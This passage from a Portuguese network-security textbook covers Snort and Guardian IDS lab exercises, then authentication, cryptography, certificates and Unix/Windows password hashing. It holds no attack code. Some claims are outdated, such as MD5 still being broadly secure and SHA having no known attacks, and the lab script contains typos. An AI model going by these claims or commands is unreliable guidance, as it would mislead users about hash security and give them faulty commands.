o Snort sempre que baixar uma nova versão das assinaturas. 
Sugestão: crie o script no diretório de scripts de inicialização de processos do 
Debian: /etc/init.d/. 
Automatize a execução do script recém-criado utilizando o crontab.
Exemplo:
# vi /root/atualiza_regras.sh
!#/bin/bash
# Processo de baixar as novas regras
/usr/sbin/oinkmaster –C /etc/oinkmaster.conf –o /etc/snort/
rules2
# Reinicia o Snort
/etc/init.d/snort stop eth1
/etc/init.d/snort start eth1
Agora vamos dar permissão de execução do script criado acima:
# chmod +x /root/atualiza_regras.sh
Passo 4 Teste a configuração do script recém-criado.
# /root/atualiza_regras.sh
119
 
C
ap
ítu
lo
 5
 - 
Ro
te
ir
o 
de
 A
ti
vi
da
de
s
Atividade 3 – Bloqueio automáticono firewall
Configure o Guardian para bloquear automaticamente os pacotes com destino ao firewall, 
conforme descrito na parte teórica. Utilize o Nmap para testar o bloqueio. 
Desafio: existe alguma ferramenta para teste de IDS? Verifique na internet e tente instalar 
para testar o Snort.
Passo 1 No host FWGW1, baixe o “Guardian Active Response for Snort” do endereço 
# wget http://www.chaotic.org/guardian/guardian-1.7.tar.gz
# tar –xvzf guardian-1.7.tar.gz
# cd guardian-1.7
Passo 2 Copie o arquivo de configuração do Guardian para o diretório /etc e edite o 
arquivo, ajustando os parâmetros:
InterfaceHostGatewayByteAlertFile
Obs.: Para este atividade não existe a necessidade de alterar os parâmetros acima.
Passo 3 Crie o arquivo /etc/guardian.ignore e inclua nele os endereços IP que serão 
ignorados (um por linha) e crie o arquivo /etc/guardian.target e inclua nele 
os endereços IP da máquina atual.
Passo 4 Copie o arquivo guardian.pl para o diretório /usr/local/bin. Copie os scripts 
de bloqueio e desbloqueio referentes ao Iptables para o mesmo diretório. 
# cp guardian.pl /usr/loca/bin
# cp scripts/iptables_unblock.sh /usr/local/bin/guardian_
unblock.sh
# cp scripts/iptables_block.sh /usr/local/bin/guardian_block.sh
Passo 5 Execute o Guardian com o seguinte comando:
# /usr/local/bin/guardian.pl –c /etc/guardian.conf
Atividade 4 – Criando uma regra personalizada do Snort
O objetivo desta atividade é demonstrar como pode ser criada uma regra customizada 
do Snort. Neste exemplo, vamos criar uma regra que vai alertar sempre que um usuário 
acessar o You Tube.
Passo 1 No host FWGW1, crie o arquivo /etc/snort/rules/yutube.rules com o seguinte 
conteúdo:
alert tcp any any -> any any (content:”www.youtube.com”; 
msg:”Acesso ao Youtube”; sid:100002; rev:1;)
Passo 2 Adicione a nova regra ao arquivo de configuração do Snort. Para isso, edite o 
arquivo /etc/snort/snort.conf e insira no final a seguinte linha:
include $RULE_PATH/youtube.rules
Passo 4 Reinicie o Snort:
/etc/init.d/snort restart eth1
Passo 5 Como não temos uma porta espelhada no switch para instalação do Snort, 
vamos gerar o acesso a partir da máquina LinServer. Para isso, execute:
# apt-get install lynx
# lynx www.youtube.com
Passo 6 Acesse o log do Snort em /var/log/snort/alert e veja o funcionamento da regra.
120
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
121
 
C
ap
ítu
lo
 6
 - 
Au
te
nt
ic
aç
ão
, A
ut
or
iz
aç
ão
 e
 C
er
tifi
ca
çã
o 
D
ig
it
al
ob
je
tiv
os
conceitos
6
Autenticação, Autorização 
e Certificação Digital
Conhecer em detalhes o processo de identificação de usuários, autenticação, 
autorização e auditoria.
Sistema AAA, criptografia, certificados digitais, gerenciamento de senhas, sistemas 
de autenticação única, servidores de diretório LDAP e sistemas de autorização.
 
Introdução
O processo de identificação de usuários, autenticação, autorização e auditoria é funda-
mental para garantir a segurança de aplicações e serviços, de modo que somente usuários 
previamente cadastrados, identificados e autenticados podem ter acesso aos recursos 
computacionais que lhes foram autorizados pelo responsável. 
Para nivelar o conhecimento e permitir o entendimento de alguns assuntos, serão apresen-
tados conceitos básicos sobre criptografia e certificação digital.
Exercício de nivelamento 1 e 
Autenticação e autorização
O que você entende como processo de identificação, autenticação, autorização e auditoria?
Sistema AAA
q 1 Autenticação (Authentication)
 2 Mecanismo de identificação do usuário.
 1 Autorização (Authorization)
 2 Mecanismo de validação de privilégios.
122
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
q 1 Auditoria (Account)
 2 Mecanismo de gerar registros das ações do usuário.
O processo de controlar o acesso, garantindo que a origem dos dados é a de quem alega ser, 
é um dos objetivos da autenticação. Garantir o uso autorizado de recursos e o registro de 
todas as atividades dentro de um sistema são tarefas dos sistemas conhecidos por: Auten-
ticação, Autorização e Auditoria (AAA). Nesta sessão, serão apresentados os protocolos e 
técnicas para trabalhar com cada um desses As.
Autenticação
qAlgo que você sabe:
 1 Mecanismo de senhas e suas variações 
 2 OTP, Passphrases etc.
 1 O mais simples de implementar.
 1 O menos seguro, por limitação do usuário.
Algo que você tem:
 1 Smartcards, chips, token etc.
Algo que você é:
 1 Biometrias 
 2 Impressão digital, formato da íris, voz, face etc.
A autenticação é um processo que tem por objetivo garantir que um usuário é realmente 
quem diz ser. Esse é um processo básico e fundamental quanto tratamos de segurança de 
sistemas e serviços, pois basta um usuário usurpar as credenciais de outro usuário que 
possui maiores privilégios para ser gerado um grave incidente de segurança. O processo de 
autenticação em geral se baseia em três princípios básicos para permitir ao usuário provar a 
sua autenticidade. São eles:
Algo que você sabe 
Nesse princípio, o sistema solicita ao usuário que informe algo que somente aquele usuário 
sabe. O exemplo mais comum desse princípio são as senhas e suas variações (OTP e 
passphrases). Apesar de ser o mais barato de implementar, pois pode ser implementado 
inteiramente via software, em geral é o menos seguro, pois um atacante pode tentar adi-
vinhar a senha de um usuário. Como o cérebro humano é limitado, os usuários tendem a 
escolher senhas fáceis de lembrar. 
Algo que você tem 
Aqui o usuário deve apresentar algo para o sistema que lhe foi dado no momento em que 
se registrou para obter acesso ao sistema. Dessa forma, ao reapresentar o mesmo objeto, o 
usuário estaria comprovando que é realmente quem diz ser. Normalmente, são combinados 
com uma senha (chamada de PIN), de modo que não possa ser usado caso seja roubado. 
Nessa categoria, são muito comuns os smartcards, chips e tokens. São considerados mais 
seguros que o primeiro, pois para um usuário se passar por outro, deve obter o objeto que o 
identifica e a senha correspondente.
Algo que você é 
Essas são consideradas as formas mais seguras de autenticação, pois envolvem uma carac-
terística intrínseca ao usuário. Em geral são chamadas de biometrias. 
123
 
C
ap
ítu
lo
 6
 - 
Au
te
nt
ic
aç
ão
, A
ut
or
iz
aç
ão
 e
 C
er
tifi
ca
çã
o 
D
ig
it
al
Alguns exemplos: impressões digitais, formato da íris, voz, face etc. Apesar de consideradas 
seguras, devem ser utilizadas de forma cuidadosa, pois o seu uso indiscriminado pode criar 
uma falsa sensação de segurança. Um leitor de impressões digitais pode ser enganado com 
uma impressão digital falsa, caso não tenha um dispositivo que garanta que o dedo em 
questão é “vivo”. Ou o mesmo leitor, caso esteja controlando uma porta, pode ser arrancado 
do seu lugar e a porta aberta por uma mera junção de dois fios. 
Autorização
O usuário obtém acesso somente aos recursos previamente definidos pelo gestor do 
sistema. A autorização corresponde a um processo seguinte à autenticação, onde o usuário 
obtém acesso aos recursos de acordo com o nível de acesso que lhe foi designado por um 
administrador ou gestor. Dessa forma, uma vez corretamente identificado, o usuário pode 
ter acesso a determinados recursos. 
Auditoria
A auditoria por fim corresponde ao processo de verificação contínua se os acessos con-
cedidos estão corretos e se não há acessos indevidos. Normalmente temos um auditor 
que periodicamente verifica as trilhas de auditoria, que são registros feitos pelos sistemas 
de autenticaçãoe autorização, contendo todos os acessos realizados pelos usuários do 
ambiente. Através de um processo consistente de AAA, podemos ter um ambiente com 
um nível de segurança adequado, sem comprometer a integridade, a confidencialidade e a 
disponibilidade dos sistemas.
Nos itens a seguir, estaremos considerando a autenticação com base em senhas, visto que é 
a autenticação mais comum e possível de se implementar via software. 
Exercício de fixação 1 e 
Sistema AAA
Quais são os princípios básicos em que se baseia o processo de autenticação em geral?
O que é autorização?
Criptografia
q 1 Simétrica: também conhecida por criptografia convencional.
 1 Assimétrica: criptografia por chaves pública e privada.
 1 Algoritmo de Hash: os cinco fundamentos para um bom algoritmo de Hash.
Esconder seus segredos sempre foi um dos grandes desafios da humanidade. Os antigos 
generais precisavam transmitir informações para seus exércitos sem o perigo de ter suas 
mensagens interceptadas e traduzidas pelo inimigo. O uso da criptografia apareceu, possi-
velmente, nas primeiras guerras da antiguidade e seu primeiro relato de uso na história é 
atribuído a Cesar, imperador de Roma.
124
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Basicamente, um processo criptográfico envolve a aplicação de três conceitos elementares: 
a mensagem/texto, o algoritmo e a chave. A mensagem consiste, pura e simplesmente, na 
informação que se deseja transmitir de forma segura; o algoritmo é a forma que será utili-
zada para cifrar e decifrar uma mensagem; e a chave, em alguns modelos computacionais, 
pode ser entendida como o segredo compartilhado que deve ser conhecido apenas pelas 
duas partes envolvidas no processo de comunicação. A garantia da confidencialidade está 
em esconder do atacante o algoritmo ou a chave utilizada.
Um esquema de codificação criptográfica consiste em uma tupla (M, C, K, E e D) com as 
seguintes propriedades:
 1 M é um conjunto conhecido como espaço de texto comum (plaintext).
 1 C é um conjunto conhecido como espaço de texto cifrado (ciphertext).
 1 K é um conjunto conhecido como espaço de chave.
 1 E é uma família de funções de codificação criptográficas tal que Ek: MgC 
 1 D é uma família de funções de decodificação criptográficas tal que Dk: CgM 
O algoritmo criptográfico define a forma como a mensagem será cifrada e decifrada. 
A definição prévia do algoritmo pelas partes envolvidas (transmissor e receptor) é um dos 
fatores fundamentais no processo de comunicação seguro.
Os algoritmos criptográficos podem ser divididos em dois grandes grupos: algoritmos simé-
tricos ou de chave secreta e algoritmos assimétricos ou de chave pública.
Criptografia simétrica
qUtiliza a mesma chave para criptografar e descriptografar uma informação.
Vantagens:
 1 Velocidade e algoritmos rápidos.
 1 Facilidade de implementação em hardware.
 1 Chaves pequenas e simples geram cifradores robustos.
Desvantagens:
 1 Dificuldade do gerenciamento das chaves.
 1 Não permite a autenticação.
 1 Não permite o não repúdio do remetente.
A criptografia simétrica utiliza a mesma chave para criptografar e descriptografar uma 
informação. Essa chave tem de ser compartilhada entre o emissor e o receptor da infor-
mação. Entretanto, o uso de criptografia simétrica dificulta o gerenciamento de chaves e não 
permite a autenticação e o não repúdio do remetente. 
Imagine a seguinte situação: um usuário A deseja conversar de forma criptografada com um 
usuário B. Para tal, ele precisa de um algoritmo e de uma chave. Se ele usa criptografia simétrica, 
a chave para A cifrar a mensagem e B decifrar é a mesma. Agora imagine que A deseja conversar 
com um usuário C. Para essa nova conversa, haveria a necessidade de uma nova chave, pois se A 
usar a mesma chave que usa com B, o próprio B poderia decifrar as mensagens. Dessa forma, se 
estivermos conversando com 100 pessoas, necessitaríamos de 100 chaves diferentes. Rapida-
mente percebemos que a solução de criptografia simétrica não estende bem, pois quando cres-
cemos o número de usuários envolvidos, a gerência das chaves se torna inviável. Para procurar 
resolver esse problema de gerenciamento de chaves, foi criada a criptografia assimétrica.
125
 
C
ap
ítu
lo
 6
 - 
Au
te
nt
ic
aç
ão
, A
ut
or
iz
aç
ão
 e
 C
er
tifi
ca
çã
o 
D
ig
it
al
Criptografia assimétrica
q 1 Gerenciamento de chaves.
 1 Implantação de não repúdio do remetente.
 1 Pode ser utilizada para garantir a confidencialidade, a autenticidade ou ambos.
 1 A principal desvantagem é o desempenho, pois é muito mais lenta que a 
criptografia simétrica. 
A criptografia assimétrica é uma forma de criptossistema em que a criptografia e a des-
criptografia são realizadas via diferentes chaves: uma chave pública e uma chave privada. 
Ela também é conhecida como criptografia de chave pública. A criptografia assimétrica 
transforma o texto claro em texto cifrado usando uma de duas chaves e um algoritmo de 
criptografia. Usando a outra chave associada e um algoritmo de descriptografia, o texto 
claro é recuperado a partir do texto cifrado.
texto clarotexto claro texto cifrado
Chave privada
de Beto
Chave pública
de Beto
Dessa forma, a criptografia assimétrica pode ser utilizada para garantir a confidencialidade, 
a autenticidade ou ambos. O criptossistema mais utilizado atualmente é o RSA, sendo 
envolvido o conceito de números primos, de modo que é difícil de explorar, pela complexi-
dade de se encontrar números primos de um número composto.
A criptografia assimétrica tem como desvantagem o desempenho, pois é muito mais lenta 
que a criptografia simétrica. Se usássemos criptografia assimétrica em todas as transações 
criptográficas, teríamos perda de desempenho bastante significativa. Dessa forma, o mais 
comum é utilizar de uma forma combinada as duas técnicas:
q1. Uma chave simétrica, inteiramente randômica, é criada e os dados são cifrados 
com essa chave. 
2. A chave simétrica em si é cifrada com a chave pública do destinatário.
3. O conjunto chave e mensagem é enviado ao destinatário.
4. O destinatário decifra a chave simétrica (chamada de chave de sessão) utilizando 
sua chave privada.
5. Com a chave simétrica em mão, o destinatário decifra o resto da mensagem. 
Tamanho das chaves
qAlgoritmos assimétricos utilizam os tamanhos de chave:
 1 1024 bits.
 1 2048 bits.
 1 4096 bits.
Figura 6.1 
Criptografia 
assimétrica.
126
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
qAlgoritmos simétricos utilizam tamanhos menores:
 1 128 bits.
 1 256 bits.
Os tamanhos de chave costumam variar, de acordo com a capacidade de processamento 
da época e do custo médio para se quebrar uma chave.
Em geral, os algoritmos assimétricos utilizam tamanhos de chave (1024, 2048 ou 4096 bits) 
muito maiores que os algoritmos simétricos (128, 256 bits), pois o comprometimento de uma 
chave de sessão invalida apenas uma transação, porém o comprometimento de uma chave 
assimétrica invalida todas as transações daquele usuário. Os tamanhos de chave costumam 
variar, de acordo com a capacidade de processamento da época e do custo médio para se 
quebrar uma chave. Atualmente o algoritmo simétrico recomendado é o AES-256, que utiliza 
chaves de 256 bits.
Algoritmos Hash
Algoritmos Hash são funções criptográficas conhecidas como one-way. Essas funções 
possuem como entrada mensagens de tamanho variável e a saída de tamanho fixo. 
Uma mensagem de entrada, sempre que for submetida à análise da função Hash vai 
gerar a mesma saída. 
Mensagem
(tamanho arbitrário) Função de hash de uma só via
Valor do hash
(tamanhofixo)
O principal propósito da função Hash é criar uma “impressão digital” de um arquivo, 
mensagem ou bloco de dados.
qUm algoritmo Hash pode ser considerado forte quando:
One-Way 
 1 A partir do resultado da função Hash, não é possível descobrir a mensagem de 
entrada, de tamanho arbitrário. Também conhecido como algoritmo de uma só via.
Fraca resistência à colisão 
 1 Quando computacionalmente for impossível encontrar uma segunda entrada dife-
rente de uma primeira entrada conhecida e as duas saídas forem iguais. 
Forte resistência à colisão 
 1 Quando computacionalmente for impossível encontrar um par de entradas diferentes 
com a mesma saída.
 Algoritmos Hash mais difundidos:
MD5 
Função de Hash de uma só via, inventada por Ron Rivest, do MIT, que também trabalha para 
a Indústria RSA de Segurança de Dados. O algoritmo MD (Message Digest) produz um valor 
de Hash de 128-bit para um tamanho arbitrário da mensagem inserida. Foi primeiramente 
proposto em 1991, depois de alguns ataques de criptoanálise descobertos contra a função 
de Hash de uma só via, utilizada no MD4 de Rivest. O algoritmo foi projetado para veloci-
dade, simplicidade e segurança. É claro que os detalhes do algoritmo são públicos e foram 
analisados por diversos criptógrafos.
Figura 6.2 
Função Hash 
(Fonte: Cert RS).
127
 
C
ap
ítu
lo
 6
 - 
Au
te
nt
ic
aç
ão
, A
ut
or
iz
aç
ão
 e
 C
er
tifi
ca
çã
o 
D
ig
it
al
Uma fraqueza foi descoberta em alguma parte do MD5, mas não afetou a segurança global 
do algoritmo. Porém, o fato de ele só produzir um valor de Hash de 128-bit é inquietante; é 
preferível uma função de Hash de uma só via, que produza um valor mais longo.
SHA 
Função de Hash de uma só via, desenvolvida pelo NIST (National Institute of Standards and 
Technology). Produz um valor de Hash de 160-bit de um tamanho arbitrário da mensagem. 
O SHA é uma função Hash baseada na função Hash MD4. Porém, a fraqueza na parte do 
algoritmo MD5 mencionada ainda não foi possível de aplicar contra o SHA. Acredita-se que 
o SHA não possui essa vulnerabilidade. Atualmente, não existe forma conhecida de ataque 
criptoanalítico contra o SHA, com exceção do ataque de força bruta. Seu valor de 160-bits 
torna o ataque de força bruta ineficiente. É claro que não existe prova de que alguém não 
possa quebrar o SHA no futuro próximo ou mesmo quando esse material estiver sendo lido.
Modos de operação de algoritmos criptográficos
Outra questão importante acerca de criptografia são os modos de operação. Em especial, 
temos os modos de operação em bloco e os modos de operação em stream. A operação em 
bloco divide os dados em conjuntos de tamanho fixo (chamados de blocos). Esses blocos são 
combinados com repetições da chave para gerar o texto cifrado, muitas vezes utilizando a 
operação matemática XOR. Apesar de útil para a cifragem de arquivos, uma cifragem de bloco 
não é adequada para a transmissão de dados cifrados de forma contínua, como, por exemplo, 
uma conexão VPN ou uma transmissão de vídeo, pois numa cifra de bloco o algoritmo teria de 
aguardar um bloco ser completado para fazer a cifragem, o que reduzirá o desempenho. 
As cifragens de bloco podem ter vários modos de operação, cada um com suas vantagens e 
desvantagens. São eles: Electronic Codebook (ECB), Cipher-block Chaining (CBC), Propagating 
Cipher-Block Chaining (PCBC), Cipher Feedback (CFB), Output Feedback (OFB) e Counter (CTR).
Dessa forma, em aplicações em que temos pressa em enviar os dados, usamos o stream 
cipher, que realiza a cifragem a nível de bit, de modo que não há a necessidade de aguardar 
a formação de um bloco. Alguns exemplos de cifragem stream são RC4 e A5/1 (usado em 
redes GSM de telefonia celular). 
A seguir veremos algumas aplicações de criptografia bastante utilizadas. 
Exercício de fixação 2 e 
Criptografia
Explique a criptografia assimétrica.
Exercício de fixação 3 e 
Algoritmos Hash
O que são e para que servem os algoritmos hash?
Saiba mais
Para conhecer mais 
sobre cada modo de 
operação, consulte o 
livro Applied 
Criptography, 
de Bruce Schneier. 
d
128
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Certificados digitais
O coração da especificação do esquema X.509 é a associação de certificados de chaves 
públicas a cada usuário do diretório. Esses certificados digitais devem ser gerados por uma 
Autoridade Certificadora (AC) confiável e armazenados no servidor de diretório. Esse arma-
zenamento pode ser feito pelo AC e pelo usuário. Dessa forma, o servidor de diretório não é 
responsável pela criação desses certificados de chave pública, mas apenas provê fácil acesso 
aos certificados de usuários. 
Obtendo certificado de usuário
A ICP (Infraestrutura de Chave Pública) é construída de forma hierárquica, onde a AC certifi-
cadora Raiz concede permissão para uma AC e permissão de emissão de certificados. 
A figura seguinte ilustra um exemplo de hierarquia de AC utilizada no ICP-Brasil.
Comitê gestor AC Raiz
AC CaixaAC PR AC Serasa AC Certsign AC SRF
O certificado de usuário é gerado por sistema de Autoridade Certificadora, que emite a 
chave pública e privada do certificado. A chave pública pode ser armazenada em um reposi-
tório de diretórios e a chave privada fica sob a guarda do usuário. 
Existem várias implementações de PKI (Public Key Infrastructure), ou Infraestrutura de 
Chaves Públicas, comerciais e de software livre:
 1 Microsoft Windows 2008 Server – Certificate Autority.
 1 Microsoft Public Key Infrastructure (PKI) for Windows Server 2003. 
 1 Projeto de software livre OpenCA PKI.
Existe ainda um projeto educacional de infraestrutura de chaves públicas, com o objetivo de 
prover uma ICP para as universidades brasileiras. Informações sobre esse projeto podem 
ser encontradas em: http://www.rnp.br/servicos/icpedu.html 
A figura a seguir ilustra o processo de geração de um certificado. 
Figura 6.3 
Hierarquia de AC.
Saiba mais
Informações sobre a 
ICP-Brasil podem ser 
obtidas em: 
http://www.iti.gov.br 
w
129
 
C
ap
ítu
lo
 6
 - 
Au
te
nt
ic
aç
ão
, A
ut
or
iz
aç
ão
 e
 C
er
tifi
ca
çã
o 
D
ig
it
al
H
E
1
2
3
4
1. Certificado não assinado: contém o ID e a chave pública do usuário.
2. Geração do código hash do certificado não assinado.
3. Código hash encriptado com a chave privada da AC para formar a assinatura.
4. Certificado assinado: recipiente pode verificar a assinatura usando a chave pública da AC.
Revogando o certificado do usuário
No momento da geração do certificado digital, é necessário indicar o período de sua vali-
dade. Dessa forma, se por algum motivo um certificado necessite de ser cancelado antes da 
data final de validade, esse certificado será incluído em uma base de certificados revo-
gados. A Infraestrutura de Chaves Públicas disponibiliza essa base para que, no processo 
de validação de um certificado, esse serviço de validação consulte a base, antes de permitir 
ou negar determinado acesso. Manter essa base atualizada e garantir que as aplicações a 
estejam acessando é mais um dos desafios do administrador de segurança da rede.
Exercício de fixação 4 e 
Certificados digitais
Explique o que são certificados digitais.
Gerenciamento de senhas
q 1 Sistemas de senhas Linux.
 1 Sistemas de senhas Windows.
 2 Hash LM – Lan Manager.
 2 Hash NTLM.
 1 Administrando as senhas.
Figura 6.4 
Processo de 
geração de 
um certificado.
130
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
A primeira fronteira de proteção contra intrusos é o sistema de senhas. Praticamente todosos sistemas multiusuários utilizam um mecanismo de autenticação onde o usuário é indu-
zido a entrar com o identificador (ID) e uma senha secreta. A senha serve para autenticar o 
ID do usuário, liberando ou não o acesso ao sistema. O ID é utilizado para:
 1 Determinar se o usuário está autorizado a obter acesso ao sistema (autenticação). 
Em alguns sistemas específicos, apenas usuários previamente cadastrados terão per-
missão de acesso.
 1 O ID determina o nível de acesso concedido a um usuário específico (autorização). Alguns 
usuários, por exemplo, podem ter acesso de administração do sistema, enquanto outros 
terão acesso apenas de operação.
Sistema de senhas Linux
q 1 Ao criar um usuário no sistema Linux, uma senha é associada ao ID do usuário.
 1 A senha é manipulada pela função crypt().
 1 A conta do usuário é armazenada no arquivo /etc/passwd.
 1 A senha é armazenada no arquivo /etc/shadow.
Garantir o uso de senhas fortes por parte do usuário é uma difícil tarefa do administrador 
do sistema, em qualquer ambiente operacional. Vamos analisar como funciona o sistema de 
senhas em um ambiente Unix. Quando um usuário é criado no sistema, uma senha é asso-
ciada ao seu ID. Essa senha é manipulada pela função crypt(), que pode trabalhar com crip-
tografia baseada em DES, MD5 ou SHA, para geração do Hash da senha e do SALT que será 
armazenado no arquivo de senhas do sistema, normalmente armazenado em /etc/shadow. 
A cifragem das senhas permite um nível adicional de proteção, visto que mesmo que um 
atacante tenha acesso ao arquivo de senhas, terá de realizar um ataque de força bruta no 
arquivo de senhas para tentar descobrir as senhas dos usuários do sistema.
131
 
C
ap
ítu
lo
 6
 - 
Au
te
nt
ic
aç
ão
, A
ut
or
iz
aç
ão
 e
 C
er
tifi
ca
çã
o 
D
ig
it
al
12 bits 56 bits
Salt Password
Load
Password File
11 characters
crypt (3)
User id salt E (pwd, [salt, 0])
(a) Loading a new password
(b) Verifying a password
Select
Compare
User id
Salt
Password
crypt (3)
Password File
User id salt E (pwd, [salt, 0])
Valor do SALT
O SALT é gerado no momento em que a senha é criada, e guardado em texto claro no 
arquivo de senhas. 
qObjetivos do SALT:
 1 Evitar que senhas duplicadas sejam visualizadas no arquivo de senhas. Mesmo que 
mais de um usuário tenha escolhido a mesma senha, o valor de SALT será diferente, 
resultando em valores de Hash diferentes.
 1 Aumentar o tamanho da senha, sem a necessidade de o usuário lembrar de todo o 
comprimento adicional da senha, assim dificultando a tarefa de sistemas adivinha-
dores de senha.
 1 Impedir o uso de uma implementação que utilize o DES em hardware, minimizando a 
possibilidade de ataques de descoberta da senha por força bruta.
Quando um usuário Unix vai realizar o processo de login no sistema, fornece o ID do usuário 
e a senha. O sistema utiliza o ID do usuário para varrer o arquivo de usuários /etc/passwd 
para encontrar o UID (número identificador do usuário no sistema) e em seguida consultar o 
Figura 6.5 
Senhas Linux. 
Fonte: Cryptography 
and Network Secu-
rity Principles and 
Practices. Stallings, 
William. Prentice 
Hall, 2005.
132
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
arquivo de senhas para encontrar o SALT do usuário e o Hash. Com essas informações 
disponíveis, a função crypt() é chamada, a senha é digitada pelo usuário e passada junto 
com seu respectivo SALT. Se o Hash gerado pela função for igual ao Hash do arquivo de 
senhas, o acesso ao sistema é concedido.
O arquivo /etc/shadow possui permissão de leitura apenas pelo administrador do sistema, 
formando uma barreira adicional de proteção, visto que os usuários comuns do sistema não 
possuem acesso de leitura a esse arquivo, e consequentemente não possuem acesso às 
senhas cifradas dos usuários. 
Exercício de fixação 5 e 
Sistema de senhas Linux
Para que é utilizado o ID?
Exercício de fixação 6 e 
SALT
Quais os objetivos do SALT?
Sistema de senhas Windows
Registros de usuário Windows (NT4, 2000, XP e 2003 Server) são armazenados no banco de 
dados do Security Account Manager (SAM), do gerenciador de contas de segurança ou no 
banco de dados do Active Directory. Cada conta de usuário está associada a duas senhas: a 
senha compatível com o LAN Manager e a senha do Windows. Cada senha é criptografada e 
armazenada no banco de dados SAM ou no banco de dados do Active Directory.
Hash LM 
O Hash LM (Lan Manager) não é exatamente um Hash, sendo gerado como resultado de um 
processo de manipulação de strings, e obtido com os seguintes passos:
1. Converte todos os caracteres minúsculos da senha em maiúsculos.
2. Preenche a senha com caracteres nulos até que ela tenha exatamente 14 caracteres.
3. Divide a senha em duas partes de sete caracteres.
4. Usa cada parte separadamente como uma chave DES para criptografar uma 
sequência específica.
5. Encadeia os dois textos criptografados em uma sequência com 128 bits e 
armazena o resultado.
Como resultado do algoritmo usado para gerar o Hash LM, o Hash é muito fácil de ser que-
brado. Primeiro, mesmo uma senha com mais de oito caracteres pode ser atacada em duas 
133
 
C
ap
ítu
lo
 6
 - 
Au
te
nt
ic
aç
ão
, A
ut
or
iz
aç
ão
 e
 C
er
tifi
ca
çã
o 
D
ig
it
al
partes distintas. Depois, todo o conjunto de caracteres minúsculos pode ser ignorado. 
Isso significa que a maioria das ferramentas para quebrar senhas começa quebrando os 
Hashes LM e depois simplesmente varia os caracteres alfabéticos na senha quebrada para 
gerar senhas que fazem distinção entre maiúsculas e minúsculas.
Hash NTLM
qSolução proprietária da Microsoft que abriu a especificação para parceiros implemen-
tarem soluções integradas.Hash Unicode.
 1 Hash MD4.
 1 Mais resistente a ataques de força bruta do que o Hash LM.O Hash NTLM também é 
conhecido como Hash Unicode, porque dá suporte a todo o conjunto de caracteres 
Unicode. O Hash NTLM é calculado pegando-se a senha no formato de texto claro e 
gerando um Hash Message Digest 4 (MD4) a partir dele. O Hash MD4 está realmente 
armazenando no banco de dados do Active Directory ou no banco de dados do Secu-
rity Accounts Manager (SAM) ou Gerenciador de Contas de Segurança. O Hash NTLM 
é muito mais resistente a ataques de força bruta do que o Hash LM.
Administrando as senhas
q 1 Treinamento do usuário. 
 1 Requisitos de complexidade.
 1 Tempo de duração da senha.
 1 Análise de dicionário.
Se um usuário mal-intencionado conseguir algum tipo de acesso ao sistema, como, por 
exemplo, pelo uso de uma conta de convidado ou de sistema desprotegida de senha ou com 
senha padrão, ele poderá conseguir uma listagem dos usuários válidos do sistema e dessa 
forma tentar um ataque de dicionário. Como a maioria dos usuários utilizam senhas com 
palavras existentes em dicionários, será fácil conseguir quebrar essa primeira barreira de 
segurança do sistema.
Use senhas longas, combinando letras maiúsculas e minúsculas, números e caracteres 
especiais, dificultando os ataques.
Esse usuário mal-intencionado poderá descobrir as senhas do sistema se conseguir enviar 
a base de dados das senhas para uma máquina remota e nessa máquina remota utilizar um 
programa de quebra de senhas, com um dicionário. Dependendo da quantidade de senhas pre-
sentes no arquivo e do poder computacional disponível para o usuário mal-intencionado, este 
pode conseguir quebrar um número grande de senhas em um pequeno intervalo de tempo.
Para proteger as contas dos usuários do sistema, o administrador pode minimizar os efeitos 
dessas ferramentas utilizandopráticas recomendadas para o gerenciamento de senhas, 
como veremos a seguir.
Treinamento do usuário 
Reforçar aos usuários a importância de manter suas senhas protegidas de amigos e 
familiares (especialmente crianças), que poderiam divulgá-las a outras pessoas menos 
confiáveis. As senhas que você precisa compartilhar, como a senha de uma conta conjunta 
on-line, são as únicas exceções. Não anotar senhas em agendas, no monitor do computador, 
embaixo do teclado etc. 
134
 
Se
gu
ra
nç
a 
de
 R
ed
es
 e
 S
is
te
m
as
Requisitos de complexidade 
Uma boa senha deve ter um número mínimo de caracteres, deve utilizar caracteres de 
diversos conjuntos (maiúsculas, minúsculas, números e símbolos), não deve constar em 
dicionários e deve ser fácil de lembrar. É importante que o administrador seja sensível à 
dificuldade dos usuários de lembrar senhas, de modo que ele não aplique regras muito 
restritivas, que possam forçar os usuários a anotar as senhas. A troca de senhas a cada mês 
ou requisitos de complexidade muito severos são alguns exemplos de regras que podem 
complicar a vida do usuário.
Exercício de fixação 7 e 
Sistema de senhas no Windows
Explique onde são armazenadas as senhas no Windows.
Sistemas de Autenticação Única
Com o uso cada vez mais intenso de sistemas informatizados para soluções comerciais, novos 
sistemas vão surgindo em implementações que automatizam os processos do negócio. A imple-
mentação de um mecanismo único de autenticação é desejável para simplificar a gerência de 
usuários e senhas dos clientes dos sistemas, assim como para simplificar e aumentar a eficiência 
do gerenciamento das contas e suas respectivas senhas pelo administrador.
Nesse cenário, é importante que as soluções informatizadas possam integrar uma solução 
de autenticação única para todos os sistemas. Dessa forma, um usuário, uma vez autenti-
cado, deverá ter acesso a todos os sistemas que tiver autorização para acessar.
Existem várias soluções de implementação de SSO, como NTLM, uma solução proprietária 
da Microsoft que abriu a especificação para parceiros implementarem soluções integradas. 
Outros sistemas baseado em Kerberos são Smart Card e OTP Token.
 OTP
One Time Passwords (OTP) é um mecanismo que utiliza senhas descartáveis. Para cada 
acesso é gerada uma senha que logo em seguida perde o valor. Assim, se a senha de um 
usuário for capturada, não servirá para comprometer o sistema. Existem várias maneiras 
de gerar as senhas, como, por exemplo, o uso de calculadoras Java, que podem estar em 
sistemas embarcados como um PDA ou um celular. O problema dessas implementações é o 
fato de o usuário ter a necessidade de estar perto da calculadora para ter acesso ao sistema.
S/Key
qSistema de autenticação OTP desenvolvido para sistemas operacionais Unix e 
derivados.O usuário provê um segredo W.
 1 Uma função Hash é aplicada n vezes em cima de W.
 1 O usuário obtém n senhas correspondentes a cada passagem da função Hash.
135
 
C
ap
ítu
lo
 6
 - 
Au
te
nt
ic
aç
ão
, A
ut
or
iz
aç
ão
 e
 C
er
tifi
ca
çã
o 
D
ig
it
al
